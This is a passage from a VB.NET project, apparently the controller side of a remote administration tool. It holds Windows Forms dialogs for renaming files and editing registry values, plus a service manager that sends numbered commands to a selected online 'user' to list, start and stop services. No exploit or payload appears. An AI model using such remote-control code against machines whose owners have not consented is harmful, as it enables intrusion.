57 | Me.ButtonCancel.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft
58 | Me.ButtonCancel.Location = New System.Drawing.Point(136, 84)
59 | Me.ButtonCancel.Name = "ButtonCancel"
60 | Me.ButtonCancel.Size = New System.Drawing.Size(93, 24)
61 | Me.ButtonCancel.TabIndex = 2
62 | Me.ButtonCancel.Text = "Cancel"
63 | Me.ButtonCancel.UseVisualStyleBackColor = True
64 | '
65 | 'TextBoxRenameFile
66 | '
67 | Me.TextBoxRenameFile.Location = New System.Drawing.Point(15, 56)
68 | Me.TextBoxRenameFile.Name = "TextBoxRenameFile"
69 | Me.TextBoxRenameFile.Size = New System.Drawing.Size(253, 20)
70 | Me.TextBoxRenameFile.TabIndex = 3
71 | '
72 | 'FilemanagerRenameFile
73 | '
74 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
75 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
76 | Me.ClientSize = New System.Drawing.Size(280, 120)
77 | Me.ControlBox = False
78 | Me.Controls.Add(Me.TextBoxRenameFile)
79 | Me.Controls.Add(Me.ButtonCancel)
80 | Me.Controls.Add(Me.ButtonRenameFile)
81 | Me.Controls.Add(Me.Label1)
82 | Me.Cursor = System.Windows.Forms.Cursors.Default
83 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
84 | Me.Name = "FilemanagerRenameFile"
85 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent
86 | Me.Text = "Rename File"
87 | Me.TopMost = True
88 | Me.ResumeLayout(False)
89 | Me.PerformLayout()
90 |
91 | End Sub
92 | Friend WithEvents Label1 As System.Windows.Forms.Label
93 | Friend WithEvents ButtonRenameFile As System.Windows.Forms.Button
94 | Friend WithEvents ButtonCancel As System.Windows.Forms.Button
95 | Friend WithEvents TextBoxRenameFile As System.Windows.Forms.TextBox
96 | End Class
97 |
--------------------------------------------------------------------------------
/Client/Client/Client/Servicemanager.vb:
--------------------------------------------------------------------------------
1 | Public Class Servicemanager
2 |
3 | Private Sub ButtonRefreshServices_Click(sender As Object, e As EventArgs) Handles ButtonRefreshServices.Click
4 | Settings.AddLog("Pending", Settings.State.Pending, "Refreshing servicelist...")
5 | ListViewServices.Items.Clear()
6 | If Main.ListViewMain.Items.Count > 0 Then
7 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
8 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
9 | Else
10 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
11 | End If
12 | Try
13 | Main.WriteCommand(Main.SelectedUserID & "|9")
14 | Waiting.ShowDialog()
15 | Catch x As Exception
16 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Servicemanager")
17 | End Try
18 | End Sub
19 |
20 |
21 | Public Sub SplitData(ByVal Data As String)
22 | Dim lines() = Data.Split({";;;"}, StringSplitOptions.None)
23 | For Each line In lines
24 | Dim parts() = line.Split({"|||"}, StringSplitOptions.None)
25 | Dim item = ListViewServices.Items.Add(parts(0))
26 | For i = 1 To Math.Min(parts.Length - 1, 3)
27 | item.SubItems.Add(parts(i))
28 |
29 | If i = 2 Then
30 | Select Case item.SubItems(2).Text
31 | Case "Running"
32 | item.ImageIndex = 0
33 | Case "Stopped"
34 | item.ImageIndex = 1
35 | Case "Unknown"
36 | item.ImageIndex = 2
37 | End Select
38 | End If
39 | Next
40 | Next
41 |
42 | For Each item As ListViewItem In ListViewServices.Items
43 | If (String.IsNullOrWhiteSpace(item.Text) Or String.IsNullOrEmpty(item.Text)) Then
44 | item.Remove()
45 | End If
46 | Next
47 | End Sub
48 |
49 | Private Sub Servicemanager_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
50 | ListViewServices.Items.Clear()
51 | End Sub
52 |
53 | Private Sub StartServiceToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles StartServiceToolStripMenuItem.Click
54 | If Main.ListViewMain.Items.Count > 0 Then
55 | If Me.ListViewServices.SelectedItems.Count > 0 Then
56 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
57 | Try
58 | Main.WriteData(ListViewServices.SelectedItems(0).Text)
59 | Main.WriteCommand(Main.SelectedUserID & "|10")
60 | Waiting.ShowDialog()
61 | Catch x As Exception
62 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Servicemanager")
63 | End Try
64 | End If
65 | Else
66 | MsgBox("Select a service to start.", MsgBoxStyle.Exclamation)
67 | End If
68 | End Sub
69 |
70 | Private Sub StopServiceToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles StopServiceToolStripMenuItem.Click
71 | If Main.ListViewMain.Items.Count > 0 Then
72 | If Me.ListViewServices.SelectedItems.Count > 0 Then
73 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
74 | Try
75 | Main.WriteData(ListViewServices.SelectedItems(0).Text)
76 | Main.WriteCommand(Main.SelectedUserID & "|11")
77 | Waiting.ShowDialog()
78 | Catch x As Exception
79 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Servicemanager")
80 | End Try
81 | End If
82 | Else
83 | MsgBox("Select a service to stop.", MsgBoxStyle.Exclamation)
84 | End If
85 | End Sub
86 |
87 | Private Sub GetServicepathToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles GetServicepathToolStripMenuItem.Click
88 | If Main.ListViewMain.Items.Count > 0 Then
89 | If Me.ListViewServices.SelectedItems.Count > 0 Then
90 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
91 | Try
92 | Main.WriteData(ListViewServices.SelectedItems(0).Text)
93 | Main.WriteCommand(Main.SelectedUserID & "|12")
94 | Waiting.ShowDialog()
95 | Catch x As Exception
96 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Servicemanager")
97 | End Try
98 | End If
99 | Else
100 | MsgBox("Select a service to grab the path from.", MsgBoxStyle.Exclamation)
101 | End If
102 | End Sub
103 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/RegistrymanagerModifyValue.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class RegistrymanagerModifyValue
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | 'Required by the Windows Form Designer
18 | Private components As System.ComponentModel.IContainer
19 |
20 | 'NOTE: The following procedure is required by the Windows Form Designer
21 | 'It can be modified using the Windows Form Designer.
22 | 'Do not modify it using the code editor.
23 | _
24 | Private Sub InitializeComponent()
25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(RegistrymanagerModifyValue))
26 | Me.TextBoxRegistryvaluename = New System.Windows.Forms.TextBox()
27 | Me.TextBoxRegistryvaluedata = New System.Windows.Forms.TextBox()
28 | Me.Label1 = New System.Windows.Forms.Label()
29 | Me.Label2 = New System.Windows.Forms.Label()
30 | Me.ButtonModify = New System.Windows.Forms.Button()
31 | Me.SuspendLayout()
32 | '
33 | 'TextBoxRegistryvaluename
34 | '
35 | Me.TextBoxRegistryvaluename.Location = New System.Drawing.Point(23, 34)
36 | Me.TextBoxRegistryvaluename.Name = "TextBoxRegistryvaluename"
37 | Me.TextBoxRegistryvaluename.ReadOnly = True
38 | Me.TextBoxRegistryvaluename.Size = New System.Drawing.Size(222, 20)
39 | Me.TextBoxRegistryvaluename.TabIndex = 0
40 | '
41 | 'TextBoxRegistryvaluedata
42 | '
43 | Me.TextBoxRegistryvaluedata.Location = New System.Drawing.Point(23, 82)
44 | Me.TextBoxRegistryvaluedata.Name = "TextBoxRegistryvaluedata"
45 | Me.TextBoxRegistryvaluedata.Size = New System.Drawing.Size(222, 20)
46 | Me.TextBoxRegistryvaluedata.TabIndex = 1
47 | '
48 | 'Label1
49 | '
50 | Me.Label1.AutoSize = True
51 | Me.Label1.Location = New System.Drawing.Point(20, 18)
52 | Me.Label1.Name = "Label1"
53 | Me.Label1.Size = New System.Drawing.Size(103, 13)
54 | Me.Label1.TabIndex = 2
55 | Me.Label1.Text = "Registryvalue name:"
56 | '
57 | 'Label2
58 | '
59 | Me.Label2.AutoSize = True
60 | Me.Label2.Location = New System.Drawing.Point(20, 66)
61 | Me.Label2.Name = "Label2"
62 | Me.Label2.Size = New System.Drawing.Size(98, 13)
63 | Me.Label2.TabIndex = 3
64 | Me.Label2.Text = "Registryvalue data:"
65 | '
66 | 'ButtonModify
67 | '
68 | Me.ButtonModify.Image = CType(resources.GetObject("ButtonModify.Image"), System.Drawing.Image)
69 | Me.ButtonModify.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft
70 | Me.ButtonModify.Location = New System.Drawing.Point(75, 114)
71 | Me.ButtonModify.Name = "ButtonModify"
72 | Me.ButtonModify.Size = New System.Drawing.Size(112, 23)
73 | Me.ButtonModify.TabIndex = 4
74 | Me.ButtonModify.Text = "Modify Value"
75 | Me.ButtonModify.UseVisualStyleBackColor = True
76 | '
77 | 'RegistrymanagerModifyValue
78 | '
79 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
80 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
81 | Me.ClientSize = New System.Drawing.Size(268, 151)
82 | Me.Controls.Add(Me.ButtonModify)
83 | Me.Controls.Add(Me.Label2)
84 | Me.Controls.Add(Me.Label1)
85 | Me.Controls.Add(Me.TextBoxRegistryvaluedata)
86 | Me.Controls.Add(Me.TextBoxRegistryvaluename)
87 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
88 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
89 | Me.MaximizeBox = False
90 | Me.MinimizeBox = False
91 | Me.Name = "RegistrymanagerModifyValue"
92 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent
93 | Me.Text = "Modify Registryvalue"
94 | Me.TopMost = True
95 | Me.ResumeLayout(False)
96 | Me.PerformLayout()
97 |
98 | End Sub
99 | Friend WithEvents TextBoxRegistryvaluename As System.Windows.Forms.TextBox
100 | Friend WithEvents TextBoxRegistryvaluedata As System.Windows.Forms.TextBox
101 | Friend WithEvents Label1 As System.Windows.Forms.Label
102 | Friend WithEvents Label2 As System.Windows.Forms.Label
103 | Friend WithEvents ButtonModify As System.Windows.Forms.Button
104 | End Class
105 |
--------------------------------------------------------------------------------